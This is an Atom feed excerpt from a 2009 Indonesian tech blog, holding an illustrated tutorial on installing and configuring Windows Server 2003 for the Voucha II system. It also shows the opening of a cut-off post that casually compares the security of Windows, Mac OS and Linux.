href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2526293925149653300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2526293925149653300'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2009/01/troubleshooting-windows-2003-server.html' title='&lt;blink&gt;Troubleshooting Windows 2003 server&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_CczHtaVjTBU/SWdfIwHk5HI/AAAAAAAAADU/l_7zog07yhM/s72-c/gdgsdg.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-2400177459338245724</id><published>2009-01-08T12:45:00.000+07:00</published><updated>2009-01-08T12:46:47.787+07:00</updated><title type='text'>Installasi Windows 2003 Server</title><content type='html'>Cara Installasi Windows 2003 server&lt;br /&gt;Artikel ini adalah tutorial singkat mengenai instalasi Windows Server 2003 ke komputer PC untuk digunakan dalam sistem Voucha II. Jika Anda menggunakan server built-up seperti IBM xSeries atau Dell PowerEdge, anda harus baca manual instalasi yang disertakan bersama server tersebut. Instalasi ini dapat diterapkan pada :&lt;br /&gt;1. Windows Server 2003 x86&lt;br /&gt;2. Windows Server 2003 x86 Service Pack 1&lt;br /&gt;3. Windows Server 2003 x86 R2&lt;br /&gt;4. Windows Server 2003 x86 Service Pack 2&lt;br /&gt;Instalasi Windows Server 2003 hampir mirip dengan instalasi Windows XP dan sama mudahnya. Hal-hal yang perlu Anda siapkan:&lt;br /&gt;1. CD/DVD instalasi Windows Server 2003 (Enterprise Edition)&lt;br /&gt;2. CD/DVD driver untuk motherboard, video card, sound card, ethernet card, dll.&lt;br /&gt;3. PC dengan RAM minimum 256 (disarankan 512MB atau lebih), hardisk 20GB (disarankan 40GB atau lebih), video card true-color dengan resolusi 1024×768.&lt;br /&gt;Baiklah mari kita mulai:&lt;br /&gt;Boot komputer dengan CD Windows Server 2003.&lt;br /&gt;&lt;span class="fullpost"&gt; &lt;br /&gt;Atur konfigurasi BIOS agar melakukan boot ke CD/DVD ROM. Masukkan CD/DVD Windows Server 2003. Anda akan mendapatkan layar selamat datang di setup Windows Server 2003.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWV8Q0C256I/AAAAAAAAABY/bILJ40S38gM/s1600-h/clip_image001.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWV8Q0C256I/AAAAAAAAABY/bILJ40S38gM/s320/clip_image001.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5288769965706897314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWV9ApPDx5I/AAAAAAAAABg/uj_X9oBhIJA/s1600-h/clip_image02"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWV9ApPDx5I/AAAAAAAAABg/uj_X9oBhIJA/s320/clip_image02" border="0" alt=""id="BLOGGER_PHOTO_ID_5288770787439003538" /&gt;&lt;/a&gt;&lt;br /&gt;Tekan ‘F8′ di keyboard untuk persetujuan lisensi Windows Server 2003&lt;br /&gt;&lt;br /&gt;Membuat Partisi &lt;br /&gt;Jika hardisk Anda masih kosong, anda harus membuat partisi untuk sistem Windows Server 2003. Tekan ‘C’ untuk membuat partisi dan masukkan ukuran partisi yang dibutuhkan, misal 10000MB (1GB).&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWV9nlgo4UI/AAAAAAAAABo/_ss1KVjG3Bg/s1600-h/clip_image003"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWV9nlgo4UI/AAAAAAAAABo/_ss1KVjG3Bg/s320/clip_image003" border="0" alt=""id="BLOGGER_PHOTO_ID_5288771456453894466" /&gt;&lt;/a&gt;&lt;br /&gt;Jika sudah selesai, tekan ‘ENTER’.&lt;br /&gt;Format partisi tersebut dengan filesystem NTFS dengan metode quickformat.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWV-AtUYkfI/AAAAAAAAABw/EWWsFtcEYBg/s1600-h/clip_image04"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWV-AtUYkfI/AAAAAAAAABw/EWWsFtcEYBg/s320/clip_image04" border="0" alt=""id="BLOGGER_PHOTO_ID_5288771888046707186" /&gt;&lt;/a&gt;&lt;br /&gt;Tekan ‘ENTER’. Windows Server 2003 Setup memformat partisi hardisk Anda.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWV-cOrp62I/AAAAAAAAAB4/ulBdha8i258/s1600-h/clip_image005"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWV-cOrp62I/AAAAAAAAAB4/ulBdha8i258/s320/clip_image005" border="0" alt=""id="BLOGGER_PHOTO_ID_5288772360859151202" /&gt;&lt;/a&gt;&lt;br /&gt;Setelah format selesai, Windows Server 2003 Setup meng-copy file-file ke partisi Windows.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWV_Maf0_ZI/AAAAAAAAACI/gEsT4FA9f6I/s1600-h/clip_image006"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWV_Maf0_ZI/AAAAAAAAACI/gEsT4FA9f6I/s320/clip_image006" border="0" alt=""id="BLOGGER_PHOTO_ID_5288773188664491410" /&gt;&lt;/a&gt;&lt;br /&gt;Setelah selesai, Windows Server 2003 Setup akan me-restart komputer dan boot ulang.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWV__bdFr2I/AAAAAAAAACQ/Rryx4WPP2ho/s1600-h/clip_image007"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWV__bdFr2I/AAAAAAAAACQ/Rryx4WPP2ho/s320/clip_image007" border="0" alt=""id="BLOGGER_PHOTO_ID_5288774065094766434" /&gt;&lt;/a&gt;&lt;br /&gt;Windows Server Setup GUI.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_10wMebfbDy4/SWWAcqFFTVI/AAAAAAAAACY/azXJv8Z9ZyA/s1600-h/clip_image008"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_10wMebfbDy4/SWWAcqFFTVI/AAAAAAAAACY/azXJv8Z9ZyA/s320/clip_image008" border="0" alt=""id="BLOGGER_PHOTO_ID_5288774567236816210" /&gt;&lt;/a&gt;&lt;br /&gt;Tunggu beberapa saat sampai muncul Wizard berikut:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_10wMebfbDy4/SWWA8_IgiLI/AAAAAAAAACg/gdjc5GxNK20/s1600-h/clip_image009"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_10wMebfbDy4/SWWA8_IgiLI/AAAAAAAAACg/gdjc5GxNK20/s320/clip_image009" border="0" alt=""id="BLOGGER_PHOTO_ID_5288775122644142258" /&gt;&lt;/a&gt;&lt;br /&gt;Pilih ‘Customize’, dan lakukan setting seperti screen di bawah ini.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_10wMebfbDy4/SWWBs6OhxsI/AAAAAAAAACo/3ZhquBJx6ZU/s1600-h/clip_image010"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_10wMebfbDy4/SWWBs6OhxsI/AAAAAAAAACo/3ZhquBJx6ZU/s320/clip_image010" border="0" alt=""id="BLOGGER_PHOTO_ID_5288775945960933058" /&gt;&lt;/a&gt;&lt;br /&gt;Klik ‘OK’, kembali ke layar sebelumnya dan klik ‘Next’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWCN8DqkjI/AAAAAAAAACw/z3nOsp3-82M/s1600-h/clip_image011"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWCN8DqkjI/AAAAAAAAACw/z3nOsp3-82M/s320/clip_image011" border="0" alt=""id="BLOGGER_PHOTO_ID_5288776513387926066" /&gt;&lt;/a&gt;&lt;br /&gt;Isi dengan Nama Anda dan Nama Perusahaan Anda. Kemudian klik ‘Next’.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_10wMebfbDy4/SWWCpoo2c-I/AAAAAAAAAC4/QtsyA9BlDUU/s1600-h/clip_image012"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_10wMebfbDy4/SWWCpoo2c-I/AAAAAAAAAC4/QtsyA9BlDUU/s320/clip_image012" border="0" alt=""id="BLOGGER_PHOTO_ID_5288776989211522018" /&gt;&lt;/a&gt;&lt;br /&gt;Isi dengan CD key Windows Server 2003 yang disertakan bersama CD Windows Server 2003. Klik ‘Next’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_10wMebfbDy4/SWWDAVyq5_I/AAAAAAAAADA/TpwxYfe4l_0/s1600-h/clip_image013"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_10wMebfbDy4/SWWDAVyq5_I/AAAAAAAAADA/TpwxYfe4l_0/s320/clip_image013" border="0" alt=""id="BLOGGER_PHOTO_ID_5288777379289425906" /&gt;&lt;/a&gt;&lt;br /&gt;Pilih Licensing Mode ‘Per Server’ dan isi dengan jumlah koneksi yang dibutuhkan. Klik ‘Next’.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_10wMebfbDy4/SWWDXf1-4OI/AAAAAAAAADI/YSWqydJPYeQ/s1600-h/clip_image014"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_10wMebfbDy4/SWWDXf1-4OI/AAAAAAAAADI/YSWqydJPYeQ/s320/clip_image014" border="0" alt=""id="BLOGGER_PHOTO_ID_5288777777124663522" /&gt;&lt;/a&gt;&lt;br /&gt;Isi ‘Computer Name’ dan password untuk Administrator. Klik ‘Next’.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWWDxdQBV9I/AAAAAAAAADQ/t3ZUKxYDA8Y/s1600-h/clip_image015"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWWDxdQBV9I/AAAAAAAAADQ/t3ZUKxYDA8Y/s320/clip_image015" border="0" alt=""id="BLOGGER_PHOTO_ID_5288778223105169362" /&gt;&lt;/a&gt;&lt;br /&gt;Pilih ‘Time Zone’ dengan (GMT +07:00 ) Bangkok, Hanoi, Jakarta. Klik ‘Next’. Setup akan melakukan instalasi Network.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWWEKMOCQ8I/AAAAAAAAADY/W2qVtjJIA10/s1600-h/clip_image016"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWWEKMOCQ8I/AAAAAAAAADY/W2qVtjJIA10/s320/clip_image016" border="0" alt=""id="BLOGGER_PHOTO_ID_5288778648030168002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWEbM7ZH2I/AAAAAAAAADg/5_bNdmi28iY/s1600-h/clip_image017"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWEbM7ZH2I/AAAAAAAAADg/5_bNdmi28iY/s320/clip_image017" border="0" alt=""id="BLOGGER_PHOTO_ID_5288778940278185826" /&gt;&lt;/a&gt;&lt;br /&gt;PIlih ‘Custom settings’ dan klik ‘Next’.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_10wMebfbDy4/SWWEuNrQrNI/AAAAAAAAADo/W3OBrnzYszY/s1600-h/clip_image018"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_10wMebfbDy4/SWWEuNrQrNI/AAAAAAAAADo/W3OBrnzYszY/s320/clip_image018" border="0" alt=""id="BLOGGER_PHOTO_ID_5288779266896473298" /&gt;&lt;/a&gt;&lt;br /&gt;Pilih komponen ‘Internet Protocol (TCP/IP)’ dan klik ‘Properties’.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_10wMebfbDy4/SWWFO8NVsmI/AAAAAAAAADw/cUlHQyZPXkU/s1600-h/clip_image019"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_10wMebfbDy4/SWWFO8NVsmI/AAAAAAAAADw/cUlHQyZPXkU/s320/clip_image019" border="0" alt=""id="BLOGGER_PHOTO_ID_5288779829143253602" /&gt;&lt;/a&gt;&lt;br /&gt;Isi ‘IP address’, ‘Subnet mask:’, ‘Default gateway:’ sesuai konfigurasi network Anda. Klik ‘OK’. Kemudian klik ‘Next’.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWFjr8vg6I/AAAAAAAAAD4/xLt-1FjrTdg/s1600-h/clip_image020"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWFjr8vg6I/AAAAAAAAAD4/xLt-1FjrTdg/s320/clip_image020" border="0" alt=""id="BLOGGER_PHOTO_ID_5288780185555927970" /&gt;&lt;/a&gt;&lt;br /&gt;Isi nama Workgroup yang diinginkan, misalnya : ‘VOUCHA’. dan klik ‘Next’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWGIOad3NI/AAAAAAAAAEA/I-D_ttSg9NI/s1600-h/clip_image021"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWGIOad3NI/AAAAAAAAAEA/I-D_ttSg9NI/s320/clip_image021" border="0" alt=""id="BLOGGER_PHOTO_ID_5288780813282696402" /&gt;&lt;/a&gt;&lt;br /&gt;Setup mencopy file-file komponen ke partisi Windows. Setelah itu Setup akan melakukan restart dan boot ulang komputer Anda.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWGnjj7QGI/AAAAAAAAAEI/hXRAl9flDNU/s1600-h/clip_image022"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWGnjj7QGI/AAAAAAAAAEI/hXRAl9flDNU/s320/clip_image022" border="0" alt=""id="BLOGGER_PHOTO_ID_5288781351535460450" /&gt;&lt;/a&gt;&lt;br /&gt;Pada Setup Windows Server 2003 - Bagian 1, kita telah melakukan instalasi Windows Server 2003 dengan konfigurasi standar. Beberapa konfigurasi lainnya masih harus dicustomize agar sesuai dengan kebutuhan sistem yang diharapkan.&lt;br /&gt;Pada bagian ke-2 ini, kita akan melakukan instalasi beberapa komponen tambahan yang diperlukan dan melakukan beberapa konfigurasi minimum untuk Windows Server 2003.&lt;br /&gt;Instalasi Windows Server 2003 Service Pack 2&lt;br /&gt;1. Masukkan CD Windows Server 2003 Service Pack 2&lt;br /&gt;2. Jika Autorun tidak aktif, jalankan melalui menu Start.&lt;br /&gt;Caranya: &lt;br /&gt;1. Klik ‘Start’-&gt;’Run&lt;br /&gt;2. Klik ‘Browse’. Pilih lokasi CD-ROM, dan pilih file ‘SRSP2.CMD’&lt;br /&gt;3. Setup akan mengekstrak file-file instalasi dan menampilkan kotak dialog seperti berikut.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_10wMebfbDy4/SWWG-ywYV5I/AAAAAAAAAEQ/rcRDNKu3Wq0/s1600-h/clip_image023"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 124px;" src="http://3.bp.blogspot.com/_10wMebfbDy4/SWWG-ywYV5I/AAAAAAAAAEQ/rcRDNKu3Wq0/s320/clip_image023" border="0" alt=""id="BLOGGER_PHOTO_ID_5288781750751221650" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWIaaxow2I/AAAAAAAAAEY/b6VMi8r6mCA/s1600-h/clip_image024"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWIaaxow2I/AAAAAAAAAEY/b6VMi8r6mCA/s320/clip_image024" border="0" alt=""id="BLOGGER_PHOTO_ID_5288783324862006114" /&gt;&lt;/a&gt;&lt;br /&gt;4. Klik ‘Next’ dan lanjutkan sampai selesai.&lt;br /&gt;5. Restart&lt;br /&gt;Instalasi Driver&lt;br /&gt;Anda harus melakukan instalasi driver-driver hardware di komputer dengan CD/DVD instalasi hardware bersangkutan. Jika driver untuk Windows Server 2003 tidak ditemukan, coba dengan driver untuk Windows XP atau download dari website vendor bersangkutan.&lt;br /&gt;Instalasi Internet Information Service (IIS)&lt;br /&gt;1. Jalankan ‘Add or Remove Programs’ dari Control Panel&lt;br /&gt;2. Klik button ‘Add/Remove Windows Components’&lt;br /&gt;3. Double click ‘Application Server’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWIwJEpxHI/AAAAAAAAAEg/83xP4S4KmyU/s1600-h/clip_image025"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 264px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWIwJEpxHI/AAAAAAAAAEg/83xP4S4KmyU/s320/clip_image025" border="0" alt=""id="BLOGGER_PHOTO_ID_5288783698067047538" /&gt;&lt;/a&gt;&lt;br /&gt;4. Double click ‘Internet Information Service (IIS)’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWJIJ09VeI/AAAAAAAAAEo/aJ7uCybmT98/s1600-h/clip_image026"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWJIJ09VeI/AAAAAAAAAEo/aJ7uCybmT98/s320/clip_image026" border="0" alt=""id="BLOGGER_PHOTO_ID_5288784110586516962" /&gt;&lt;/a&gt;&lt;br /&gt;5. Pilih ‘File Transfer Protocol (FTP) Service’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_10wMebfbDy4/SWWJoGRpyUI/AAAAAAAAAEw/a8U2vVgNZ00/s1600-h/clip_image027"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_10wMebfbDy4/SWWJoGRpyUI/AAAAAAAAAEw/a8U2vVgNZ00/s320/clip_image027" border="0" alt=""id="BLOGGER_PHOTO_ID_5288784659388942658" /&gt;&lt;/a&gt;&lt;br /&gt;6. Klik OK.&lt;br /&gt;Membuat Partisi&lt;br /&gt;Partisi untuk dokumen, database, dan file-file temporer sebaiknya dipisah. Untuk membuat partisi di Windows Server 2003, ikuti langkah berikut:&lt;br /&gt;1. Jalankan ‘Control Panel’-&gt;’Administrative Tools’-&gt;’Computer Management’&lt;br /&gt;2. Pilih ‘Disk Management’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWWKDXo1DZI/AAAAAAAAAE4/2qZc8v4yez0/s1600-h/clip_image028"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWWKDXo1DZI/AAAAAAAAAE4/2qZc8v4yez0/s320/clip_image028" border="0" alt=""id="BLOGGER_PHOTO_ID_5288785127906020754" /&gt;&lt;/a&gt;&lt;br /&gt;3. Klik ‘Disk 0′ pada daftar disk dan klik kanan.&lt;br /&gt;4. Pilih ‘New Partition’&lt;br /&gt;5. Pilih ‘Extended Partition’, isi ukuran partisi yang dibutuhkan dan klik ‘Next’&lt;br /&gt;6. Pilih filesystem ‘NTFS’.&lt;br /&gt;7. Ulangi langkah 1-6 untuk partisi yang lain.&lt;br /&gt;Membuat User Account&lt;br /&gt;Anda harus membuat user account khusus untuk pemakaian biasa dan jangan gunakan account Administrator. Gunakan account Administrator jika diperlukan, misalnya instalasi software atau hardware.&lt;br /&gt;1. Jalankan ‘Control Panel’-&gt;’Administrative Tools’-&gt;’Computer Management’&lt;br /&gt;2. Pilih ‘Local Users and Groups’&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWWLVnz0DVI/AAAAAAAAAFA/xmmq9CEQ8Kk/s1600-h/28.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 182px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWWLVnz0DVI/AAAAAAAAAFA/xmmq9CEQ8Kk/s320/28.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5288786540996332882" /&gt;&lt;/a&gt;&lt;br /&gt;3. Pilih ‘Users’&lt;br /&gt;4. Klik kanan di daftar user dan pilih ‘New User’&lt;br /&gt;5. Isi dengan nama user yang Anda inginkan.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_10wMebfbDy4/SWWLtW2BUOI/AAAAAAAAAFI/NS1Kb4_6-bQ/s1600-h/clip_image029"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 318px; height: 320px;" src="http://2.bp.blogspot.com/_10wMebfbDy4/SWWLtW2BUOI/AAAAAAAAAFI/NS1Kb4_6-bQ/s320/clip_image029" border="0" alt=""id="BLOGGER_PHOTO_ID_5288786948759048418" /&gt;&lt;/a&gt;&lt;br /&gt;6. Klik ‘Create’&lt;br /&gt;Selamat, Windows Server 2003 telah siap digunakan sebagai Server. Untuk menggunakan Voucha II, Anda perlu melakukan instalasi Microsoft SQL Server 2000 dan Microsoft SQL Server 2000 - Service Pack 4.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3779977977238655719-2400177459338245724?l=dank3r.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dank3r.blogspot.com/feeds/2400177459338245724/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3779977977238655719&amp;postID=2400177459338245724' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2400177459338245724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3779977977238655719/posts/default/2400177459338245724'/><link rel='alternate' type='text/html' href='http://dank3r.blogspot.com/2009/01/installasi-windows-2003-server.html' title='&lt;blink&gt;Installasi Windows 2003 Server&lt;/blink&gt;'/><author><name>TKJ BATANG</name><uri>http://www.blogger.com/profile/10320403337888519494</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/_CczHtaVjTBU/SM3J9FZ8gfI/AAAAAAAAAAM/T6dnVUSw9b4/S220/98136.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_10wMebfbDy4/SWV8Q0C256I/AAAAAAAAABY/bILJ40S38gM/s72-c/clip_image001.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3779977977238655719.post-8912625588509776872</id><published>2009-01-07T07:18:00.002+07:00</published><updated>2009-01-07T07:22:40.072+07:00</updated><title type='text'>Kelebihan Windows dibanding sistem operasi lain</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CczHtaVjTBU/SWP1f3f91AI/AAAAAAAAABk/x412byFLKUg/s1600-h/images.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 136px; height: 109px;" src="http://2.bp.blogspot.com/_CczHtaVjTBU/SWP1f3f91AI/AAAAAAAAABk/x412byFLKUg/s320/images.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288340315285869570" /&gt;&lt;/a&gt;&lt;br /&gt;WINDOWS XP, VISTA, Mac OS dan LINUX&lt;br /&gt;&lt;br /&gt;Perang terbuka sudah terjadi tanpa kita sadari. Dari kubu Windows, XP dan Vista, Linux dari Ubuntu dan MacOS dari Macintosh bertempur melawan pasukan hacker dan penyusup. Keempat pasukan Sistem Operasi tersebut bertugas harus melindungi beberapa istana di 4 zona peperangan. Namun pertempuran sengit ini tak jarang membawa warga dunia menjadi korban akibat ketidak tahuan, seperti misalnya ketika Windows Vista secara diam-diam melakukan penyedotan data dari pintu belakang, atau ketika MacOs secara sembunyi-sembunyi beraliansi dengan sebuah trojan berbahaya. Untuk itulah mari kita ikut bergerilya dalam perang dunia ini untuk mengetahui pasukan mana yang kita gunakan untuk melindungi kita.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Sebelum kita ikut bergerilya marilah kita ke kantor kepolisian untuk memeriksa catatan kriminal dari 4 Sistem Operasi yang kita percayakan menghadapi para hacker. Ternyata tidak satupun dari Sistem operasi tersebut yang benar-benar memiliki catatan bersih, masing-masing memiliki catatan kriminal, yaitu MacOS pernah tertangkap akibat mengadakan kerjasama dengan virus trojan, Windows XP memiliki catatan sebagai pelaku pengungkap data, Windows Vista sebagai pemasok POPUP dan Linux yang sangat fanatik input prompt. Okelah itu hanya sekedar catatan 